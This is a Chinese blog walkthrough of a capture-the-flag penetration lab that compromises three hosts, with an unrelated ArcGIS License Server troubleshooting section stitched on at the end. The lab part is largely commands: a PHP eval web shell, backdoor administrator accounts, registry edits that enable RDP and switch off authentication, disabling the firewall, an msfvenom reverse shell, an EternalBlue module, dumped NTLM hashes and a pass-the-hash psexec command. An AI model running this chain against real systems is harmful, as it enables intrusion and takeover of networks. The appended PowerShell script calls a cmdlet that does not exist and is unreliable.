cyberstrikelab lab1超详细版wp,带你一步步完成整个渗透流程

题目:本次小李的任务是攻克192.168.10.0/24网段的所有主机,刚开始挺顺利,但深入后发现里面的情况远比想象的复杂。

信息收集

开启环境连接openvpn,既然是攻克整个网段,那么直接使用fscan对网段进行扫描

┌──(xtk㉿XTK)-[~/Desktop]
└─$ ./fscan -h 192.168.10.10/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 2.0.0
[*] 扫描类型: all, 目标端口: 21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017,80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880
[*] 开始信息扫描...
[*] CIDR范围: 192.168.10.0-192.168.10.255
[*] 已生成IP范围: 192.168.10.0 - 192.168.10.255
[*] 已解析CIDR 192.168.10.10/24 -> IP范围 192.168.10.0-192.168.10.255
[*] 最终有效主机数量: 256
[-] 正在尝试无监听ICMP探测...
[-] 当前用户权限不足,无法发送ICMP包
[*] 切换为PING方式探测...
[+] 目标 192.168.10.10   存活 (ICMP)
[+] 目标 192.168.10.233  存活 (ICMP)
[+] ICMP存活主机数量: 2
[*] 共解析 218 个有效端口
[+] 端口开放 192.168.10.233:22
[+] 端口开放 192.168.10.10:80
[+] 端口开放 192.168.10.10:135
[+] 端口开放 192.168.10.10:139
[+] 端口开放 192.168.10.10:445
[+] 端口开放 192.168.10.233:8080
[+] 端口开放 192.168.10.10:3306
[+] 存活端口数量: 7
[*] 开始漏洞扫描...
[!] 扫描错误 192.168.10.10:445 - 无法确定目标是否存在漏洞
[!] 扫描错误 192.168.10.10:135 - [-] 解码主机信息失败: encoding/hex: odd length hex string
[*] NetBios 192.168.10.10   WORKGROUP\WIN-KOHRC1DGOL9           Windows Server 2012 R2 Standard 9600
[*] 网站标题 http://192.168.10.10      状态码:200 长度:25229  标题:易优CMS -  Powered by Eyoucms.com
[*] 网站标题 https://192.168.10.233:8080 状态码:404 长度:19     标题:无标题
[!] 扫描错误 192.168.10.233:22 - 扫描总时间超时: context deadline exceeded
[+] [发现漏洞] 目标: http://192.168.10.10
  漏洞类型: poc-yaml-thinkphp5023-method-rce
  漏洞名称: poc1
  详细信息: %!s(<nil>)
[!] 扫描错误 192.168.10.10:3306 - Error 1130: Host '192.168.122.133' is not allowed to connect to this MySQL server
[+] 扫描已完成: 7/7
[*] 扫描结束,耗时: 37.258666301s

第一台机器(192.168.10.10)

根据fscan扫描结果可以得出是thinkphp框架,存在漏洞,掏出工具一把梭,成功检测到漏洞

img
进行getshell,写入一句话木马

   <?php @eval($_POST['a']);?>

img

拿出蚁剑进行连接

img

连接成功,在根目录下成功找到flag

img

进入终端,添加用户,开启远程访问桌面服务,

net user xtk 123@abc /add

在Windows系统中net user命令主要用于创建,修改,删除用户账户,上面的命令整体为添加名为xtk的新用户,密码为123@abc

 net localgroup Administrators xtk /add

net localgroup命令用于管理本地用户组,整条命令为将我们新创建的用户添加到用户组Administrators组中,以此来达到用户具有管理员权限。

img

修改注册表启用远程桌面连接

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

命令说明

  • REG ADD: 用于向注册表中添加或修改键值。
  • HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server: 注册表路径,控制远程桌面连接的设置。
  • /v fDenyTSConnections: 指定要修改的键值名称。
  • /t REG_DWORD: 指定键值类型为 DWORD。
  • /d 00000000: 设置键值的数值数据为 0(表示启用远程桌面连接)。
  • /f: 强制覆盖现有键值,无需确认。

img

禁用防火墙

netsh advfirewall set allprofiles state off

命令说明

  • netsh advfirewall: 用于配置高级防火墙设置。
  • set allprofiles: 表示对所有配置文件(域、专用、公用)进行操作。
  • state off: 关闭防火墙。

远程连接一下试试,发现报错了,

img

报错原因说是身份验证导致的,那么我们直接禁用掉身份验证就好了

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f	

简单解读一下这条指令:reg add注册表编辑指令,表示向注册表中添加或修改键值。"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"这里充当的是注册表的路径,也就是我们要修改的地方,目标键位于 HKEY_LOCAL_MACHINE,涉及远程桌面服务的 RDP-Tcp 协议配置。/v UserAuthentication指定要操作的注册表值名称,此处为 UserAuthentication/t REG_DWORD定义值类型为 REG_DWORD(32 位整数),/d 0设置数据为0,表示禁用功能。/f和之前一样还是强制覆盖,不提示确认。

img

再次进行登录,

img

成功登录,

查看下机子的IP

PS C:\Users\xtk> ipconfig

Windows IP 配置


以太网适配器 以太网 3:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::d51c:328c:a9ac:7ea2%17
   IPv4 地址 . . . . . . . . . . . . : 192.168.10.10
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.10.233

以太网适配器 以太网实例 0:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::645a:a851:908c:70ee%16
   IPv4 地址 . . . . . . . . . . . . : 192.168.20.10
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.20.1

隧道适配器 isatap.{0A087C82-408A-4C20-8EB3-4E5C11A340D7}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . :

隧道适配器 isatap.{4DA50EBB-5871-4387-AB71-FF1EF08A5B10}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . :

可以发现有两个网段,传入fscan192.168.20.10/24网段进行扫描

img

根据扫描结果可以看出192.168.20.30存在永恒之蓝漏洞,打开kali,连接openvpn,

img

部署CS,开启监听,远程访问192.168.10.10,在kali上启动http服务,远程下载,

img

下载的时候会出现当前安全设置不允许下载该文件,

img

这里是因为目标服务器上的浏览器做了限制,点击左上角的设置,在安全中点击网页隐私策略进行修改

img

点击后进入隐私报告页面,点击设置,在弹出的Internet选项中选择安全,自定义级别,在底部会有下载设置,将其开启即可

img

同时在目标机器上下载4dnat.exe,目的主要是为了方便搭建sockes代理隧道,使用CS搭建也可以,看个人选择即可。这里选择使用4dnat

4dnat.exe -proxy socks5 10000

img

同时kali配置好挂上代理,这里使用的是proxychains,修改一下配置文件中的代理即可,

第二台机器

之前在第一台机器上从fscan的扫描结果可以得出,192.168.20.30的机器存在永恒之蓝漏洞,我们之前做的步骤也是为了通过kali来对IP为192.168.20.30机器上的永恒之蓝进行利用,以此来获取目标的服务器权限。使用msf生成木马来上线192.168.10.10机器。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.233.2 LPORT=6000 -f exe > shell.exe

生成之后通过之前的HTTP服务远程下载即可,启动msfconsole

sudo msfconsole

使用接受反弹shell的模块,设置IP和端口之后运行

use exploit/multi/handler 
set lhost 172.16.233.2
set lport 6000
run -j -z #-j:将监听任务放入后台运行,允许我们接着使用Metasploit 控制台执行其他操作。-z:不主动等待会话建立(与 -j 配合使用,主要用于快速启动监听)。

成功上线后,输入sessions查看一下当前会话

img

搜索永恒之蓝的漏洞

search ms17

这里普通的模块没利用成功,换成auxiliary/admin/smb/ms17_010_command模块,允许通过漏洞在目标系统上执行任意命令。输入options查看下需要设置的信息。

img

设置IP和运行的指令就好了,一次执行一条,这里可以开启一个反弹shell,也可以跟之前一样开启他的远程桌面服务,在这里我用的是开启3389远程访问

set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
set COMMAND net user xtk 123@abc /add
set COMMAND net localgroup Administrators xtk /add
set COMMAND netsh firewall set opmode disable

开启之后远程连接一下试试,注意挂代理,登录的是域控服务器,用户名前带.\

proxychains rdesktop 192.168.20.30

img

第三台机器

既然是192.168.20.30是域控服务器,那么我们只需要抓取hash值,然后对192.168.20.20发起PTH攻击即可。使用CS生成正向木马,以此来上线192.168.20.20的机器,

img

将木马传输到192.168.20.30,之前在kali上启动HTTP服务在这里肯定不能直接传过来,但是我们可以先下载到192.168.10.10(192.168.20.10)的机器上,然后通过复制粘贴直接贴到192.168.20.30上,

img

运行之后使用CS进行连接,成功上线

img

更改会连间隔,抓取hash值,

Administrator:500:aad3b435b51404eeaad3b435b51404ee:94bd5248e87cb7f2f9b871d40c903927:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5bc02b7670084dd30471730cc0a1672c:::
cyberweb:1105:aad3b435b51404eeaad3b435b51404ee:2de5cd0f15d1c070851d1044e1d95c90:::
xtk:1106:aad3b435b51404eeaad3b435b51404ee:73f5d97549f033374fa6d9f9ce247ffd:::
WIN-7NRTJO59O7N$:1000:aad3b435b51404eeaad3b435b51404ee:a0cde4eb68e4a2345b888c83eed3b196:::
CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:e6a15c99a606f9face74d871788de01e:::

使用Impacket psexec.py 进行 PTH 攻击

Impacket 是一个强大的 Python 工具包,用于对 Windows 系统进行网络协议操作和渗透测试。其中的 psexec.py 脚本是一个经典的远程命令执行工具,可以模拟 Windows 的 PsExec 工具,允许攻击者在目标系统上执行命令。PTH(Pass-the-Hash,哈希传递)攻击 是一种利用 Windows 系统中存储的用户密码哈希值进行身份验证的攻击技术。攻击者无需破解哈希值或获取明文密码,而是直接使用哈希值来通过身份验证,从而访问目标系统或资源。Impacket 当结合 PTH(Pass-the-Hash,哈希传递)攻击 时,psexec.py 可以直接使用目标用户的 NTLM 哈希值进行身份验证,而无需明文密码。这使得攻击者可以在不知道明文密码的情况下,通过哈希值获取目标系统的访问权限。

proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes:94bd5248e87cb7f2f9b871d40c903927cyberstrikelab.com/administrator@192.168.20.20

输入完整指令,这里仍然需要使用代理,

img

成功获取到192.168.20.20的shell,切换到根目录下读取flag即可

img

至此完成对整个网段的渗透.

### 关于ArcGIS License Server无法启动的解决方案 当遇到ArcGIS License Server无法启动的情况时,可以从以下几个方面排查并解决问题: #### 1. **检查网络配置** 确保License Server所在的计算机能够被其他客户端正常访问。如果是在局域网环境中部署了ArcGIS Server Local,则需要确认该环境下的网络设置是否允许远程连接AO组件[^1]。 #### 2. **验证服务状态** 检查ArcGIS Server Object Manager (SOM) 的运行情况。通常情况下,在Host SOM机器上需将此服务更改为由本地系统账户登录,并重启相关服务来恢复其正常工作流程[^2]。 #### 3. **审查日志文件** 查看ArcGIS License Manager的日志记录,寻找任何可能指示错误原因的信息。这些日志可以帮助识别具体是什么阻止了许可证服务器的成功初始化。 #### 4. **权限问题** 确认用于启动ArcGIS License Server的服务账号具有足够的权限执行所需操作。这包括但不限于读取/写入特定目录的权利以及与其他必要进程通信的能力。 #### 5. **软件本兼容性** 保证所使用的ArcGIS产品及其依赖项之间存在良好的本匹配度。不一致可能会导致意外行为或完全失败激活license server的功能。 #### 示例代码片段:修改服务登录身份 以下是更改Windows服务登录凭据的一个简单PowerShell脚本例子: ```powershell $serviceName = "ArcGISServerObjectManager" $newUsername = ".\LocalSystemUser" # 替换为实际用户名 $newPassword = ConvertTo-SecureString "" -AsPlainText -Force Set-Service -Name $serviceName -StartupType Automatic New-ServiceCredential -ServiceName $serviceName -Account $newUsername -Password $newPassword Restart-Service -Name $serviceName ``` 上述脚本仅作为示范用途,请依据实际情况调整参数值后再实施。 --- ###
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值